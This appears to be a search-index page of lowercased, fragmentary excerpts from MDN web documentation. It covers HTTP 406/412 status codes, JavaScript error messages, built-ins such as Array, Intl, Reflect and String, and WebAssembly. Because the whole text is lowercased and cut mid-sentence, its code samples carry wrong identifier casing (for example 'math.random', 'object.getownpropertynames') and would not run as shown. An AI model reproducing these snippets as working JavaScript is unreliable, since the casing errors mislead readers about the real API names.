406 Not Acceptable - HTTP
WebHTTPStatus406
the hypertext transfer protocol (http) 406 not acceptable client error response code indicates that the server cannot produce a response matching the list of acceptable values defined in the request's proactive content negotiation headers, and that the server is unwilling to supply a default representation.
... proactive content negotiation headers include: accept accept-charset accept-encoding accept-language in practice, this error is very rarely used.
... instead of responding using this error code, which would be cryptic for the end user and difficult to fix, servers ignore the relevant header and serve an actual page to the user.
... if a server returns such an error status, the body of the message should contain the list of the available representations of the resources, allowing the user to choose among them.
412 Precondition Failed - HTTP
WebHTTPStatus412
this happens with conditional requests on methods other than get or head when the condition defined by the if-unmodified-since or if-none-match headers is not fulfilled.
... status 412 precondition failed examples etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" etag: w/"0815" avoiding mid-air collisions with the help of the etag and the if-match headers, you can detect mid-air edit collisions.
... for example, when editing mdn, the current wiki content is hashed and put into an etag in the response: etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" when saving changes to a wiki page (posting data), the post request will contain the if-match header containing the etag values to check freshness against.
... if-match: "33a64df551425fcc55e4d42a148795d9f25f89d4" if the hashes don't match, it means that the document has been edited in-between and a 412 precondition failed error is thrown.
CSS Houdini
advantages of houdini houdini enables faster parse times than using javascript .style for style changes.
...every element and style sheet rule has a style map which is accessible via its stylepropertymap.
... <script> css.paintworklet.addmodule('csscomponent.js'); </script> this added module contains registerpaint() functions, which register completely configurable worklets.
... worklets reference other topics related topics which may be of interest, since they can be used in tandem with houdini apis in interesting ways.
Keyed collections - JavaScript
« previousnext » this chapter introduces collections of data which are indexed by a key; map and set objects contain elements which are iterable in the order of insertion.
...you can use a for...of loop to return an array of [key, value] for each iteration.
... use maps if there is a need to store primitive values as keys because object treats each key as a string whether it's a number value, boolean value or any other primitive value.
... weakmap object the weakmap object is a collection of key/value pairs in which the keys are objects only and the values can be arbitrary values.
Public class fields - JavaScript
as such, unlike their private counterparts, they participate in prototype inheritance.
...this is useful for caches, fixed-configuration, or any other data you don't need to be replicated across instances.
... class classwithstaticfield { static staticfield } console.assert(classwithstaticfield.hasownproperty('staticfield')) console.log(classwithstaticfield.staticfield) // expected output: "undefined" public static fields are not reinitialized on subclasses, but can be accessed via the prototype chain.
...these are often utility functions, such as functions to create or clone objects.
TypeError: can't assign to property "x" on "y": not an object - JavaScript
the javascript strict mode exception "can't assign to property" occurs when attempting to create a property on primitive value such as a symbol, a string, a number or a boolean.
... message typeerror: can't assign to property "x" on {y}: not an object (firefox) typeerror: cannot create property 'x' on {y} (chrome) error type typeerror.
... in strict_mode, a typeerror is raised when attempting to create a property on primitive value such as a symbol, a string, a number or a boolean.
...foo.bar = {}; // typeerror: can't assign to property "bar" on "my string": not an object fixing the issue either fix the code to prevent the primitive from being used in such places, or fix the issue is to create the object equivalent object.
TypeError: can't access dead object - JavaScript
to avoid these issues, references to dom nodes in foreign document should instead be stored in an object which is specific to that document, and cleaned up when the document is unloaded, or stored as weak references.
... examples checking if an object is dead components.utils offers a isdeadwrapper() method, which privileged code might use.
... if (components.utils.isdeadwrapper(window)) { // dead } unprivileged code has no access to component.utils and might just be able catch the exception.
... try { string(window); } catch (e) { console.log("window is likely dead"); } ...
TypeError: invalid assignment to const "x" - JavaScript
(chrome) typeerror: assignment to const (edge) typeerror: redeclaration of const 'x' (ie) error type typeerror what went wrong?
...it cannot change through re-assignment, and it can't be redeclared.
...check what was intended to be achieved with the constant in question.
... let columns = 120; scoping check if you are in the correct scope.
SyntaxError: JSON.parse: bad parsing - JavaScript
message syntaxerror: json.parse: unterminated string literal syntaxerror: json.parse: bad control character in string literal syntaxerror: json.parse: bad character in string literal syntaxerror: json.parse: bad unicode escape syntaxerror: json.parse: bad escape character syntaxerror: json.parse: unterminated string syntaxerror: json.parse: no number after minus sign syntaxerror: json.parse: unexpected non-digit syntaxerror: json.parse: missing digits after decimal point syntaxerror: json.parse: unterminated fractional number syntaxerror: json.parse: missing digits after exponent indicator syntaxerror: json.parse: missing digits after exponent sign syntaxerror: json.parse: exponent part is miss...
...ing a number syntaxerror: json.parse: unexpected end of data syntaxerror: json.parse: unexpected keyword syntaxerror: json.parse: unexpected character syntaxerror: json.parse: end of data while reading object contents syntaxerror: json.parse: expected property name or '}' syntaxerror: json.parse: end of data when ',' or ']' was expected syntaxerror: json.parse: expected ',' or ']' after array element syntaxerror: json.parse: end of data when property name was expected syntaxerror: json.parse: expected double-quoted property name syntaxerror: json.parse: end of data after property name when ':' was expected syntaxerror: json.parse: expected ':' after property name in object syntaxerror: json.parse: end of data after property value in object syntaxerror: json.parse: expected ',' or '}' after p...
...roperty value in object syntaxerror: json.parse: expected ',' or '}' after property-value pair in object literal syntaxerror: json.parse: property names must be double-quoted strings syntaxerror: json.parse: expected property name or '}' syntaxerror: json.parse: unexpected character syntaxerror: json.parse: unexpected non-whitespace character after json data syntaxerror: json.parse error: invalid character at position {0} (edge) error type syntaxerror what went wrong?
... examples json.parse() does not allow trailing commas both lines will throw a syntaxerror: json.parse('[1, 2, 3, 4,]'); json.parse('{"foo": 1,}'); // syntaxerror json.parse: unexpected character // at line 1 column 14 of the json data omit the trailing commas to parse the json correctly: json.parse('[1, 2, 3, 4]'); json.parse('{"foo": 1}'); property names must be double-quoted strings you cannot use single-quotes around properties, like 'foo'.
SyntaxError: missing } after function body - JavaScript
check if any closing curly brackets or parenthesis are in the correct order.
...also check if any closing curly brackets or parenthesis are in the correct order.
... examples forgotten closing curly bracket oftentimes, there is a missing curly bracket in your function code: var charge = function() { if (sunny) { usesolarcells(); } else { promptbikeride(); }; correct would be: var charge = function() { if (sunny) { usesolarcells(); } else { promptbikeride(); } }; it can be more obscure when using iife, closures, or other constructs that use a lot of different parenthesis and curly brackets, for example.
... (function() { if (true) { return false; } ); oftentimes, indenting differently or double checking indentation helps to spot these errors.
ReferenceError: reference to undefined property "x" - JavaScript
the javascript warning "reference to undefined property" occurs when a script attempted to access an object property which doesn't exist.
... message referenceerror: reference to undefined property "x" (firefox) error type (firefox only) referenceerror warning which is reported only if javascript.options.strict preference is set to true.
... the script attempted to access an object property which doesn't exist.
... var foo = {}; foo.bar; // referenceerror: reference to undefined property "bar" valid cases to avoid the error, you need to either add a definition for bar to the object or check for the existence of the bar property before trying to access it; one way to do that is to use the object.prototype.hasownproperty() method), like this: var foo = {}; // define the bar property foo.bar = 'moon'; console.log(foo.bar); // "moon" // test to be sure bar exists before accessing it if (foo.hasownproperty('bar')) { console.log(foo.bar); } ...
SyntaxError: function statement requires a name - JavaScript
message syntax error: expected identifier (edge) syntaxerror: function statement requires a name [firefox] syntaxerror: unexpected token ( [chrome] error type syntaxerror what went wrong?
...you'll need to check how functions are defined and if you need to provide a name for it, or if the function in question needs to be a function expression, an iife, or if the function code is placed correctly in this context at all.
...nts vs expressions a function statement (or function declaration) requires a name, this won't work: function () { return 'hello world'; } // syntaxerror: function statement requires a name you can use a function expression (assignment) instead: var greet = function() { return 'hello world'; }; or, you function is maybe intended to be an iife (immediately invoked function expression), which is a function that runs as soon as it is defined.
... var greeter = { german: function () { return "moin"; } }; callback syntax also, check your syntax when using callbacks.
Default parameters - JavaScript
b : 1 return a * b } multiply(5, 2) // 10 multiply(5) // 5 with default parameters in es2015, checks in the function body are no longer necessary.
...so, unlike (for example) python, a new object is created each time the function is called.
...ers parameters defined earlier (to the left) are available to later default parameters: function greet(name, greeting, message = greeting + ' ' + name) { return [name, greeting, message] } greet('david', 'hi') // ["david", "hi", "hi david"] greet('david', 'hi', 'happy birthday!') // ["david", "hi", "happy birthday!"] this functionality can be approximated like this, which demonstrates how many edge cases are handled: function go() { return ':p' } function withdefaults(a, b = 5, c = b, d = go(), e = this, f = arguments, g = this.value) { return [a, b, c, d, e, f, g] } function withoutdefaults(a, b, c, d, e, f, g) { switch (arguments.length) { case 0: a; case 1: b = 5; case 2: c = b; case 3: d = ...
... the following function will throw a referenceerror when invoked, because the default parameter value does not have access to the child scope of the function body: function f(a = go()) { // throws a `referenceerror` when `f` is invoked.
Array.prototype.copyWithin() - JavaScript
syntax arr.copywithin(target[, start[, end]]) parameters target zero-based index at which to copy the sequence to.
... start optional zero-based index at which to start copying elements from.
... end optional zero-based index at which to end copying elements from.
...it does not alter the length of this, but it will change its content and create new properties, if necessary.
Array.prototype.fill() - JavaScript
the fill() method changes all elements in an array to a static value, from a start index (default 0) to an end index (default array.length).
... fill is a mutator method: it will change the array itself and return it, not a copy of it.
... if the first parameter is an object, each slot in the array will reference that object.
... // [1, 4, 3] [1, 2, 3].fill(4, 1, 1) // [1, 2, 3] [1, 2, 3].fill(4, 3, 3) // [1, 2, 3] [1, 2, 3].fill(4, -3, -2) // [4, 2, 3] [1, 2, 3].fill(4, nan, nan) // [1, 2, 3] [1, 2, 3].fill(4, 3, 5) // [1, 2, 3] array(3).fill(4) // [4, 4, 4] [].fill.call({ length: 3 }, 4) // {0: 4, 1: 4, 2: 4, length: 3} // a single object, referenced by each slot of the array: let arr = array(3).fill({}) // [{}, {}, {}] arr[0].hi = "hi" // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.fill' in that specification.
Array.prototype.unshift() - JavaScript
return value the new length property of the object upon which the method was called.
...objects which do not contain a length property—reflecting the last in a series of consecutive, zero-based numerical properties—may not behave in any meaningful manner.
... please note that, if multiple elements are passed as parameters, they're inserted in chunk at the beginning of the object, in the exact same order they were passed as parameters.
... see example: let arr = [4, 5, 6] arr.unshift(1, 2, 3) console.log(arr); // [1, 2, 3, 4, 5, 6] arr = [4, 5, 6] // resetting the array arr.unshift(1) arr.unshift(2) arr.unshift(3) console.log(arr) // [3, 2, 1, 4, 5, 6] examples using unshift let arr = [1, 2] arr.unshift(0) // result of the call is 3, which is the new array length // arr is [0, 1, 2] arr.unshift(-2, -1) // the new array length is 5 // arr is [-2, -1, 0, 1, 2] arr.unshift([-4, -3]) // the new array length is 6 // arr is [[-4, -3], -2, -1, 0, 1, 2] arr.unshift([-7, -6], [-5]) // the new array length is 8 // arr is [ [-7, -6], [-5], [-4, -3], -2, -1, 0, 1, 2 ] specifications specification ecmasc...
Atomics - JavaScript
atomics.compareexchange() stores a value at the specified index of the array, if it equals a value.
... atomics.exchange() stores a value at the specified index of the array.
... examples using atomics const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.add(ta, 0, 12); atomics.load(ta, 0); // 12 atomics.and(ta, 0, 1); atomics.load(ta, 0); // 1 atomics.compareexchange(ta, 0, 5, 12); atomics.load(ta, 0); // 12 atomics.exchange(ta, 0, 12); atomics.load(ta, 0); // 12 atomics.islockfree(1); // true atomics.islockfree(2); // true atomics.islockfree(3); // false atomics.islockfree(4); // true atomics.or(ta, 0, 1); atomics.load(ta, 0); // 5 atomics.store(ta, 0, 12); // 12 atomics.sub(ta, 0, 2); atomics.load(ta, 0); // 3 atomics.xor(ta, 0, 1); atomics.load(...
...ta, 0); // 4 waiting and notifiying given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 = new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0.
Function() constructor - JavaScript
however, unlike eval, the function constructor creates functions which execute in the global scope only.
...each must be a string that corresponds to a valid javascript identifier, or a list of such strings separated with a comma.
...this is less efficient than declaring a function with a function expression or function statement and calling it within your code because such functions are parsed with the rest of the code.
... all arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.
GeneratorFunction - JavaScript
each must be a string that corresponds to a valid javascript identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b".
...this is less efficient than declaring a generator function with a function* expression and calling it within your code, because such functions are parsed with the rest of the code.
... all arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.
... when running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the generatorfunction constructor was called.
Intl.Collator.prototype.compare() - JavaScript
syntax collator.compare(string1, string2) parameters string1 string2 the strings to compare against each other.
... description the compare getter function returns a number indicating how string1 and string2 compare to each other according to the sort order of this collator object: a negative value if string1 comes before string2; a positive value if string1 comes after string2; 0 if they are considered equal.
...note that the function is bound to the collator from which it was obtained, so it can be passed directly to array.prototype.sort().
... var a = ['offenbach', 'Österreich', 'odenwald']; var collator = new intl.collator('de-u-co-phonebk'); a.sort(collator.compare); console.log(a.join(', ')); // → "odenwald, Österreich, offenbach" using compare for array search use the compare getter function for finding matching strings in arrays: var a = ['congrès', 'congres', 'assemblée', 'poisson']; var collator = new intl.collator('fr', { usage: 'search', sensitivity: 'base' }); var s = 'congres'; var matches = a.filter(v => collator.compare(v, s) === 0); console.log(matches.join(', ')); // → "congrès, congres" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator.prototype.compare' in that specification.
Intl.DisplayNames - JavaScript
// get display names of region in english let regionnames = new intl.displaynames(['en'], {type: 'region'}); regionnames.of('419'); // "latin america" regionnames.of('bz'); // "belize" regionnames.of('us'); // "united states" regionnames.of('ba'); // "bosnia & herzegovina" regionnames.of('mm'); // "myanmar (burma)" // get display names of region in traditional chinese regionnames = new intl.displaynames(['zh-hant'], {type: 'region'}); regionnames.of('419'; // "拉丁美洲" regionnames.of('bz'); // "貝里斯" regionnames.of('us'); // "美國" regionnames.of('ba'); // "波士尼亞與赫塞哥維納" regionnames.of('mm'); // "緬甸" language display names to create an intl.displaynames for a locale and get the display name for a language-script-region ...
... // get display names of language in english let languagenames = new intl.displaynames(['en'], {type: 'language'}); languagenames.of('fr'); // "french" languagenames.of('de'); // "german" languagenames.of('fr-ca'); // "canadian french" languagenames.of('zh-hant'); // "traditional chinese" languagenames.of('en-us'); // "american english" languagenames.of('zh-tw'); // "chinese (taiwan)"] // get display names of language in traditional chinese languagenames = new intl.displaynames(['zh-hant'], {type: 'language'}); languagenames.of('fr'); // "法文" languagenames.of('zh'); // "中文" languagenames.of('de'); // "德文" script code display names to create an intl.displaynames for a locale and get the display name for a script code.
... // get display names of script in english let scriptnames = new intl.displaynames(['en'], {type: 'script'}); // get script names scriptnames.of('latn'); // "latin" scriptnames.of('arab'); // "arabic" scriptnames.of('kana'); // "katakana" // get display names of script in traditional chinese scriptnames = new intl.displaynames(['zh-hant'], {type: 'script'}); scriptnames.of('latn'); // "拉丁文" scriptnames.of('arab'); // "阿拉伯文" scriptnames.of('kana'); // "片假名" currency code display names to create an intl.displaynames for a locale and get the display name for currency code.
... // get display names of currency code in english let currencynames = new intl.displaynames(['en'], {type: 'currency'}); // get currency names currencynames.of('usd'); // "us dollar" currencynames.of('eur'); // "euro" currencynames.of('twd'); // "new taiwan dollar" currencynames.of('cny'); // "chinese yuan" // get display names of currency code in traditional chinese currencynames = new intl.displaynames(['zh-hant'], {type: 'currency'}); currencynames.of('usd'); // "美元" currencynames.of('eur'); // "歐元" currencynames.of('twd'); // "新台幣" currencynames.of('cny'); // "人民幣" specifications specification intl.displaynamesthe definition of 'displaynames' in that specification.
Intl.Locale.prototype.numeric - JavaScript
the intl.locale.prototype.numeric property is an accessor property that returns whether the locale has special collation handling for numeric characters.
...numeric is a boolean value, which means that it can be either true or false.
...if numeric is set to true, then the locale will take numeric characters into account when collating strings.
... let numericviastr = new intl.locale("fr-latn-fr-u-kn-false"); console.log(numericstr.numeric); // prints "false" setting the numeric value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
Intl.Locale - JavaScript
extension tags hold information about locale aspects such as calendar type, clock type, and numbering system type.
... intl.locale.prototype.collation returns the collation type for the locale, which is used to order strings according to the locale's rules.
... intl.locale.prototype.numeric returns whether the locale has special collation handling for numeric characters.
... examples basic usage at its very simplest, the intl.locale constructor takes a locale identifier string as its argument: let us = new intl.locale('en-us'); using the locale constructor with an options object the constructor also takes an optional configuration object argument, which can contain any of several extension types.
Intl.NumberFormat.prototype.formatToParts() - JavaScript
it returns an array of objects containing the locale-specific tokens from which it possible to build custom strings while preserving the locale-specific parts.
... the structure the formattoparts() method returns, looks like this: [ { type: "integer", value: "3" }, { type: "group", value: "." }, { type: "integer", value: "500" } ] possible types are the following: currency the currency string, such as the symbols "$" and "€" or the name "dollar", "euro" depending on how currencydisplay is specified.
...for example by using array.prototype.map(), arrow functions, a switch statement, template literals, and array.prototype.reduce().
... var numberstring = formatter.formattoparts(number).map(({type, value}) => { switch (type) { case 'currency': return `<strong>${value}</strong>`; default : return value; } }).reduce((string, part) => string + part); this will make the currency bold, when using the formattoparts() method.
Math.random() - JavaScript
the math.random() function returns a floating-point, pseudo-random number in the range 0 to less than 1 (inclusive of 0, but not 1) with approximately uniform distribution over that range — which you can then scale to your desired range.
... the implementation selects the initial seed to the random number generation algorithm; it cannot be chosen or reset by the user.
...if extremely large bounds are chosen (253 or higher), it's possible in extremely rare cases to calculate the usually-excluded upper bound.
... function getrandomint(min, max) { min = math.ceil(min); max = math.floor(max); return math.floor(math.random() * (max - min) + min); //the maximum is exclusive and the minimum is inclusive } it might be tempting to use math.round() to accomplish that, but doing so would cause your random numbers to follow a non-uniform distribution, which may not be acceptable for your needs.
Math.random() - JavaScript
the math.random() function returns a floating-point, pseudo-random number in the range 0 to less than 1 (inclusive of 0, but not 1) with approximately uniform distribution over that range — which you can then scale to your desired range.
... the implementation selects the initial seed to the random number generation algorithm; it cannot be chosen or reset by the user.
...if extremely large bounds are chosen (253 or higher), it's possible in extremely rare cases to calculate the usually-excluded upper bound.
... function getrandomint(min, max) { min = math.ceil(min); max = math.floor(max); return math.floor(math.random() * (max - min) + min); //the maximum is exclusive and the minimum is inclusive } it might be tempting to use math.round() to accomplish that, but doing so would cause your random numbers to follow a non-uniform distribution, which may not be acceptable for your needs.
Object.getOwnPropertyNames() - JavaScript
the object.getownpropertynames() method returns an array of all properties (including non-enumerable properties except for those which use symbol) found directly in a given object.
...// logs ["0", "1", "2"] // logging property names and values using array.foreach object.getownpropertynames(obj).foreach( function (val, idx, array) { console.log(val + ' -> ' + obj[val]); } ); // logs // 0 -> a // 1 -> b // 2 -> c // non-enumerable property var my_obj = object.create({}, { getfoo: { value: function() { return this.foo; }, enumerable: false } }); my_obj.foo = 1; console.log(object.getownpropertynames(my_obj).sort()); // logs ["foo", "get...
...foo"] if you want only the enumerable properties, see object.keys() or use a for...in loop (note that this will also return enumerable properties found along the prototype chain for the object unless the latter is filtered with hasownproperty()).
... items on the prototype chain are not listed: function parentclass() {} parentclass.prototype.inheritedmethod = function() {}; function childclass() { this.prop = 5; this.method = function() {}; } childclass.prototype = new parentclass; childclass.prototype.prototypemethod = function() {}; console.log( object.getownpropertynames( new childclass() // ["prop", "method"] ) ); get non-enumerable properties only this uses the array.prototype.filter() function to remove the enumerable keys (obtained with object.keys()) from a list of all keys (obtained with object.getownpropertynames()) thus giving only the non-enumerable keys as output.
Object.prototype.toString() - JavaScript
description every object has a tostring() method that is automatically called when the object is to be represented as a text value or when an object is referred to in a manner in which a string is expected.
... the following code defines the dog object type and creates thedog, an object of type dog: function dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; } thedog = new dog('gabby', 'lab', 'chocolate', 'female'); if you call the tostring() method on this custom object, it returns the default value inherited from object: thedog.tostring(); // returns [object object] the following code creates and assigns dogtostring() to override the default tostring() method.
...'dog ' + this.name + ' is a ' + this.sex + ' ' + this.color + ' ' + this.breed; return ret; } or, using es6 template strings: dog.prototype.tostring = function dogtostring() { return `dog ${this.name} is a ${this.sex} ${this.color} ${this.breed}`; } with the preceding code in place, any time thedog is used in a string context, javascript automatically calls the dogtostring() function, which returns the following string: "dog gabby is a female chocolate lab" using tostring() to detect object class tostring() can be used with every object and (by default) allows you to get its class.
... const tostring = object.prototype.tostring; tostring.call(new date); // [object date] tostring.call(new string); // [object string] tostring.call(math); // [object math] // since javascript 1.8.5 tostring.call(undefined); // [object undefined] tostring.call(null); // [object null] using tostring() in this way is unreliable; objects can change the behavior of object.prototype.tostring() by defining a symbol.tostringtag property, leading to unexpected results.
Promise.prototype.finally() - JavaScript
this helps to avoid duplicating code in both the promise's then() and catch() handlers.
...so for example: unlike promise.resolve(2).then(() => {}, () => {}) (which will be resolved with undefined), promise.resolve(2).finally(() => {}) will be resolved with 2.
... similarly, unlike promise.reject(3).then(() => {}, () => {}) (which will be fulfilled with undefined), promise.reject(3).finally(() => {}) will be rejected with 3.
... examples using finally let isloading = true; fetch(myrequest).then(function(response) { var contenttype = response.headers.get("content-type"); if(contenttype && contenttype.includes("application/json")) { return response.json(); } throw new typeerror("oops, we haven't got json!"); }) .then(function(json) { /* process your json further */ }) .catch(function(error) { console.error(error); /* this line can also throw, e.g.
handler.set() - JavaScript
receiver the object to which the assignment was originally directed.
...but a set() handler can also be called indirectly, via the prototype chain or various other ways.
... for example: suppose a script does obj.name = "jen", and obj is not a proxy, and has no own property .name, but it has a proxy on its prototype chain.
... interceptions this trap can intercept these operations: property assignment: proxy[foo] = bar and proxy.foo = bar inherited property assignment: object.create(proxy)[foo] = bar reflect.set() invariants if the following invariants are violated, the proxy will throw a typeerror: cannot change the value of a property to be different from the value of the corresponding target object property if the corresponding target object property is a non-writable, non-configurable data property.
Reflect.has() - JavaScript
syntax reflect.has(target, propertykey) parameters target the target object in which to look for the property.
... propertykey the name of the property to check.
... description the reflect.has method allows you to check if a property is in an object.
... examples using reflect.has() reflect.has({x: 0}, 'x') // true reflect.has({x: 0}, 'y') // false // returns true for properties in the prototype chain reflect.has({x: 0}, 'tostring') // proxy with .has() handler method obj = new proxy({}, { has(t, k) { return k.startswith('door') } }); reflect.has(obj, 'doorbell') // true reflect.has(obj, 'dormitory') // false reflect.has returns true for any inherited properties, like the in operator: const a = {foo: 123} const b = {__proto__: a} const c = {__proto__: b} // the prototype chain is: c -> b -> a reflect.has(c, 'foo') // true specifications specification ecmascript (ecma-262)the definition of 'reflect.has' in that specification.
Reflect.setPrototypeOf() - JavaScript
syntax reflect.setprototypeof(target, prototype) parameters target the target object of which to set the prototype.
... description the reflect.setprototypeof method changes the prototype (i.e.
... examples using reflect.setprototypeof() reflect.setprototypeof({}, object.prototype) // true // it can change an object's [[prototype]] to null.
...reflect.setprototypeof(object.freeze({}), null) // false // returns false if it cause a prototype chain cycle.
RegExp.prototype.dotAll - JavaScript
the "s" flag indicates that the dot special character (".") should additionally match the following line terminator ("newline") characters in a string, which it would not match otherwise: u+000a line feed (lf) ("\n") u+000d carriage return (cr) ("\r") u+2028 line separator u+2029 paragraph separator this effectively means the dot will match any character on the unicode basic multilingual plane (bmp).
... to allow it to match astral characters, the "u" (unicode) flag should be used.
... using both flags in conjunction allows the dot to match any unicode character, without exceptions.
... you cannot change this property directly.
RegExp.$1-$9 - JavaScript
the legacy regexp $1, $2, $3, $4, $5, $6, $7, $8, $9 properties are static and read-only properties of regular expressions that contain parenthesized substring matches.
... the values of these properties are read-only and modified whenever successful matches are made.
... examples using $n with string.replace the following script uses the replace() method of the string instance to match a name in the format first last and output it in the format last, first.
... in the replacement text, the script uses $1 and $2 to indicate the results of the corresponding matching parentheses in the regular expression pattern.
String.prototype.endsWith() - JavaScript
the endswith() method determines whether a string ends with the characters of a specified string, returning true or false as appropriate.
... syntax str.endswith(searchstring[, length]) parameters searchstring the characters to be searched for at the end of str.
... return value true if the given characters are found at the end of the string; otherwise, false.
...however, you can polyfill string.prototype.endswith() with the following snippet: if (!string.prototype.endswith) { string.prototype.endswith = function(search, this_len) { if (this_len === undefined || this_len > this.length) { this_len = this.length; } return this.substring(this_len - search.length, this_len) === search; }; } examples using endswith() let str = 'to be, or not to be, that is the question.' console.log(str.endswith('question.')) // true console.log(str.endswith('to be')) // false console.log(str.endswith('to be', 1...
String.fromCodePoint() - JavaScript
use the code below for a polyfill: if (!string.fromcodepoint) (function(stringfromcharcode) { var fromcodepoint = function(_) { var codeunits = [], codelen = 0, result = ""; for (var index=0, len = arguments.length; index !== len; ++index) { var codepoint = +arguments[index]; // correctly handles all cases including `nan`, `-infinity`, `+infinity` // the surrounding `!(...)` is required to correctly handle `nan` cases // the (codepo...
...// astral code point; split in surrogate halves // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae codepoint -= 0x10000; codelen = codeunits.push( (codepoint >> 10) + 0xd800, // highsurrogate (codepoint % 0x400) + 0xdc00 // lowsurrogate ); } if (codelen >= 0x3fff) { result += stringfromcharcode.apply(null, codeunits); codeunits.length = 0; } } return result + stringfromcharcode.apply(null, codeunits); }; try { // ie 8 only supports `object.defineproperty` on dom elements object.defineproperty(string, "fromcodepoint", { "value": fromcodepoint, "configurable": true, "writable": true }); } catch(e) { string.fromcodep...
...oint = fromcodepoint; } }(string.fromcharcode)); examples using fromcodepoint() valid input: string.fromcodepoint(42); // "*" string.fromcodepoint(65, 90); // "az" string.fromcodepoint(0x404); // "\u0404" == "Є" string.fromcodepoint(0x2f804); // "\ud87e\udc04" string.fromcodepoint(194564); // "\ud87e\udc04" string.fromcodepoint(0x1d306, 0x61, 0x1d307); // "\ud834\udf06a\ud834\udf07" invalid input: string.fromcodepoint('_'); // rangeerror string.fromcodepoint(infinity); // rangeerror string.fromcodepoint(-1); // rangeerror string.fromcodepoint(3.14); // rangeerror string.fromcodepoint(3e-2); // rangeerror string.fromcodepoint(nan); // rangeerror compared to fromcharcode() string.fromcharcode() cannot return supplementary characters (i.e.
...instead, it requires the utf-16 surrogate pair in order to return a supplementary character: string.fromcharcode(0xd83c, 0xdf03); // code point u+1f303 "night with string.fromcharcode(55356, 57091); // stars" == "\ud83c\udf03" string.fromcodepoint(), on the other hand, can return 4-byte supplementary characters, as well as the more common 2-byte bmp characters, by specifying their code point (which is equivalent to the utf-32 code unit): string.fromcodepoint(0x1f303); // or 127747 in decimal specifications specification ecmascript (ecma-262)the definition of 'string.fromcodepoint' in that specification.
String.prototype.includes() - JavaScript
syntax str.includes(searchstring[, position]) parameters searchstring a string to be searched for within str.
... position optional the position within the string at which to begin searching for searchstring.
... (defaults to 0.) return value true if the search string is found anywhere within the given string; otherwise, false if not.
... however, you can easily polyfill this method: if (!string.prototype.includes) { string.prototype.includes = function(search, start) { 'use strict'; if (search instanceof regexp) { throw typeerror('first argument must not be a regexp'); } if (start === undefined) { start = 0; } return this.indexof(search, start) !== -1; }; } examples using includes() const str = 'to be, or not to be, that is the question.' console.log(str.includes('to be')) // true console.log(str.includes('ques...
String.raw() - JavaScript
examples using string.raw() string.raw`hi\n${2+3}!`; // 'hi\n5!', the character after 'hi' // is not a newline character, // '\' and 'n' are two characters.
... string.raw`hi\u000a!`; // 'hi\u000a!', same here, this time we will get the // \, u, 0, 0, 0, a, 6 characters.
... // all kinds of escape characters will be ineffective // and backslashes will be present in the output string.
... // you can confirm this by checking the .length property // of the string.
TypedArray.prototype.every() - JavaScript
syntax typedarray.every(callback[, thisarg]) parameters callback function to test for each element, taking three arguments: currentvalue the current element being processed in the typed array.
... description the every method executes the provided callback function once for each element present in the typed array until it finds one where callback returns a falsy value (a value that becomes false when converted to a boolean).
... if such an element is found, the every method immediately returns false.
... every does not mutate the typed array on which it is called.
TypedArray.prototype.set() - JavaScript
syntax typedarray.set(array[, offset]) typedarray.set(typedarray[, offset]) parameters array the array from which to copy values.
... all values from the source array are copied into the target array, unless the length of the source array plus the offset exceeds the length of the target array, in which case an exception is thrown.
... offset optional the offset into the target array at which to begin writing values from the source array.
... exceptions a rangeerror, if the offset is set such as it would store beyond the end of the typed array.
TypedArray.prototype.some() - JavaScript
syntax typedarray.some(callback[, thisarg]) parameters callback function to test for each element, taking three arguments: currentvalue the current element being processed in the typed array.
... description the some method executes the callback function once for each element present in the typed array until it finds one where callback returns a true value.
... if such an element is found, some immediately returns true.
... some does not mutate the typed array on which it is called.
WebAssembly.Instance.prototype.exports - JavaScript
instance.exports examples using exports after fetching some webassembly bytecode using fetch, we compile and instantiate the module using the webassembly.instantiatestreaming() function, importing a javascript function into the webassembly module in the process.
... var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); note: you can also find this example as instantiate-streaming.html on github (view it live also).
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsexportschrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57chrome android ...
WebAssembly.LinkError() constructor - JavaScript
the webassembly.linkerror() constructor creates a new webassembly linkerror object, which indicates an error during module instantiation (besides traps from the start function).
... examples creating a new linkerror instance the following snippet creates a new linkerror instance, and logs its details to the console: try { throw new webassembly.linkerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof linkerror); // true console.log(e.message); // "hello" console.log(e.name); // "linkerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was ...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jslinkerror() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support noopera full support 44safari full support 11webview android full support 57c...
WebAssembly.Memory.prototype.buffer - JavaScript
examples using buffer the following example (see memory.html on github, and view it live also) fetches and instantiates the loaded memory.wasm byte code using the webassembly.instantiatestreaming() method, while importing the memory created in the line above.
